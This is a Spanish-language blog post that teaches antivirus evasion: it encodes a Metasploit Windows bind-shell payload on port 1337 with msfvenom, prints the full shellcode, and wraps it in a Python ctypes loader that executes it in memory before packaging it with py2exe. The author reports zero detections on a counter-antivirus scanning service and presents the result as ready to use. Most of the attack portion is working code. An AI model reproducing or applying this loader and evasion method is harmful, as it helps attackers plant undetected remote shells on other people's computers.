This page looks best with JavaScript enabled

Msfvenom ayudandonos a evadir av's con python

 ·   ·   3 min read

Hola a todos ! llevo bastante tiempo de inactividad sin redactar ningĂșn articulo por falta de tiempo (existen prioridades) y era hora de poder dedicarle un tiempo a compartir informaciĂłn.

Hoy os traigo un articulo relacionado con uno que ya escribĂ­ hace un tiempo “Evadiendo AV’s con Python” en el quĂ© nos serviamos de un shellcode generado por metaesploit, lĂłgicamente aun siendo este embedido necesitariamos de mĂĄs para poder conseguir un FUD o limpieza total, es por eso que hoy nos ayudaremos de MSFVENOM para cumplir nuestro objetivo.

- uy uy uy uy, sobrecarga de informaciĂłn! no te vayas al tejado! empieza por cimentar el suelo!

Totalmente cierto, empezaremos por cuestionarnos “ÂżQuĂ© es msfvenom?” :

Cabe destacar que msfvenom es una herramienta “relativamente nueva” que surge para hacer la vida de los pentesters mucho mĂĄs sencilla.
Esta herramienta no es mĂĄs que la Ășnion de “msfpayload” y “msfencoder” por lo que esta no te permite solo generar tu payload sino que permite que se codifĂ­que directamente con algĂșn algoritmo(los presentes en msfencoder).

_Dicho esto y dejando claro que es una herramienta muy intuitiva (msfvenom -h para mostrar los parametros disponibles) comenzaremos a darle uso para comenzar a evadir antivirus de forma cĂłmoda y rĂĄpida.

1 .Comenz****emos a generar y a codificar nuestro payload ! :
Generaremos el payload que usamos en el Ășltimo artĂ­culo :

windows/shell\_bind\_tcp LPORT=1337 C

y para generarlo y codificarlo escribiremos :

msfvenom --payload --encoder --iterations --bad-chars 

Ejemplo :

Aun siendo codificado por msfvenom si transformamos este shellcode a exe comprobaremos que aun sigue con bastantes detecciones

Link del resultado -> scan4you.net/result.php?id=8b4fe_3o2aqn

Bien, es hora de comenzar la magia !, usaremos el mismo script que utilizamos en la ocasiĂłn pasada , es decir , recurriremos a la libreria ctypes para crear un buffer que ejecute el shellcode en memoria.

from ctypes import \*  
  
shellcode = ("\\xda\\xd7\\xd9\\x74\\x24\\xf4\\xbd\\xf8\\xd2\\x02\\xa0\\x5a\\x33\\xc9" +  
"\\xb1\\x78\\x31\\x6a\\x17\\x83\\xea\\xfc\\x03\\x92\\xc1\\xe0\\x55\\xdc" +  
"\\x32\\x6b\\xba\\x51\\x62\\xb4\\x1c\\xe5\\xb0\\xc1\\xc5\\x2e\\x70\\x98" +  
"\\x8b\\x01\\xf0\\xc8\\xe8\\x8b\\x08\\xed\\x9c\\x90\\x9c\\x28\\xae\\xa2" +  
"\\x17\\xa9\\x68\\x3b\\xd6\\x8e\\xa4\\x3a\\x6b\\xef\\x7d\\xbc\\x40\\xfa" +  
"\\xf4\\xd0\\x6e\\x8c\\x6e\\x44\\xcc\\x7d\\xe7\\x9d\\x5a\\x74\\xde\\x78" +  
"\\x7d\\x3a\\x6a\\x45\\x5a\\xa6\\x25\\xb0\\xfb\\x36\\x1e\\x48\\xb3\\xf6" +  
"\\xa6\\x22\\xc6\\x85\\xe8\\x33\\x87\\xbe\\x1d\\xfc\\xab\\x13\\x02\\xd4" +  
"\\x82\\x2b\\xa1\\xe5\\x3e\\x3b\\xb5\\x51\\x33\\x50\\x16\\xa3\\xe4\\x9f" +  
"\\x25\\xc3\\xe8\\x89\\xd4\\xb0\\xd1\\x83\\x50\\x20\\xcb\\x76\\x0f\\x2d" +  
"\\x8a\\x31\\xd9\\x3b\\xc8\\x82\\xdd\\x65\\x94\\x57\\x04\\x3e\\x7e\\x69" +  
"\\xa6\\x63\\xc9\\x06\\x19\\x9d\\x49\\xe9\\x3d\\x45\\xf5\\x19\\x5b\\xa0" +  
"\\x8a\\x97\\x33\\xd2\\x50\\xe6\\xff\\xc7\\xe7\\xd6\\xb4\\x5e\\xdd\\xcc" +  
"\\x14\\xfd\\x18\\xc6\\xb9\\x0c\\xd6\\xf7\\xa4\\x9b\\xf7\\x33\\x4d\\x56" +  
"\\xe0\\x03\\xd8\\x8d\\xf4\\xe9\\xde\\xa9\\xc3\\x10\\xd5\\x8b\\xcc\\x86" +  
"\\xf5\\x93\\x42\\x50\\x9f\\x45\\xc9\\x10\\x4d\\x92\\x81\\xe9\\xb1\\x85" +  
"\\xee\\x43\\xea\\x72\\x62\\x37\\x4b\\x64\\xc5\\x0c\\xd8\\x64\\xc0\\x38" +  
"\\xa4\\xe1\\xad\\xf7\\xa1\\x7e\\x50\\x52\\x72\\xac\\xef\\xd1\\x74\\x21" +  
"\\xf3\\xe9\\xe3\\x65\\xdb\\x26\\x48\\xd0\\x63\\x87\\x93\\x22\\x4b\\x86" +  
"\\x0c\\x80\\x12\\x27\\x6a\\x2e\\x1d\\x09\\x7e\\xee\\xd1\\x0f\\xfe\\xbe" +  
"\\x39\\x8a\\xb2\\x55\\x03\\x4a\\xb2\\xc2\\x79\\x36\\x9d\\xd6\\x29\\xf4" +  
"\\xef\\x71\\xff\\xa9\\xde\\x76\\xbd\\x62\\x60\\x52\\x12\\x8e\\x48\\x42" +  
"\\x7d\\xaf\\x5e\\x5d\\xc2\\xe1\\xcb\\x39\\xee\\x86\\xe2\\x11\\x07\\xf9" +  
"\\x6d\\x92\\xfa\\x56\\xa2\\x1a\\xa4\\x2d\\x2c\\x0f\\x19\\x20\\xa2\\x34" +  
"\\x5f\\x64\\x1a\\x05\\x87\\xe9\\xd0\\xd5\\xa0\\xb3\\x58\\x38\\x3b\\x2c" +  
"\\x14\\xd0\\x74\\x16\\x46\\x7b\\x63\\xbe\\x0c\\xae\\x08\\x9c\\x03\\x0d" +  
"\\xed\\x06\\x99\\x2f\\xcd\\x67\\x09\\x12\\x8c\\x29\\x6b\\x92\\x0b\\xc5" +  
"\\x3f\\x13\\x25\\x2a\\x77\\x5b\\xf7\\xd8\\x63\\x87\\x46\\xb8\\xa5\\x36" +  
"\\xc1\\xc5\\xd5\\xcb\\x55\\xa4\\x6f\\xd6\\x05\\x45\\x9f\\xac\\x41\\xbe" +  
"\\xac\\xbb\\xb8\\x03\\x46\\x04\\xde\\xd3\\x64\\x46\\x81\\x30\\x93\\x7d" +  
"\\xd3\\x55\\x34\\xdf\\x83\\xc4\\xde\\xf3\\x42\\x86\\x90\\xbf\\x92\\xa0" +  
"\\x81\\xdc\\x5e\\x05\\xc4\\x8e\\x83\\xdb\\x6f\\x90\\xb2\\x46\\xb1\\x2a" +  
"\\xcd\\xd8\\x03\\x91\\xde\\x9f\\x4e\\x05\\x75\\x2b\\x25\\x2d\\xeb\\xfc" +  
"\\xe5\\xa8\\x48\\xf6\\x9f\\x77\\x8b\\xc1\\xf4\\x78\\x0b\\xbf\\xb4\\xc7" +  
"\\xa6\\xb7\\x0b\\x56\\x92\\x1b\\x40\\xc8\\x37\\x54\\xa5\\x86\\x5b\\xaf" +  
"\\xfd\\xab\\xa6\\x68\\xf6\\x7b\\x0c\\xef\\x3a\\x04\\x34\\xbe\\x55")  
  
memoria = create\_string\_buffer(shellcode, len(shellcode))  
shell = cast(memoria, CFUNCTYPE(c\_void\_p))  
shell()  

Bueno , ahora con py2exe lo convertimos en un ejecutable y lo analizamos…

Link del reporte -> http://scan4you.net/result.php?id=53b47_3o2f83

Para nuestra sorpresa y como podemos observar esta TOTALMENTE FUD , 0/35, esto podrĂ­a estar bien siempre y cuando el payload continuara siendo funcional, ejecutemoslo y veamos si realmente sigue funcionando :

Y ya con esto concluimos ! , espero que os sirviera de ayuda.
En este artĂ­culo no se profundiza en el uso de msfvenom ya que no es lo que se pretende, si deseas saber mĂĄs acerca de Ă©l -> www.google.com

Saludos, Sanko.

Share on
Support the author with

Avatar
WRITTEN BY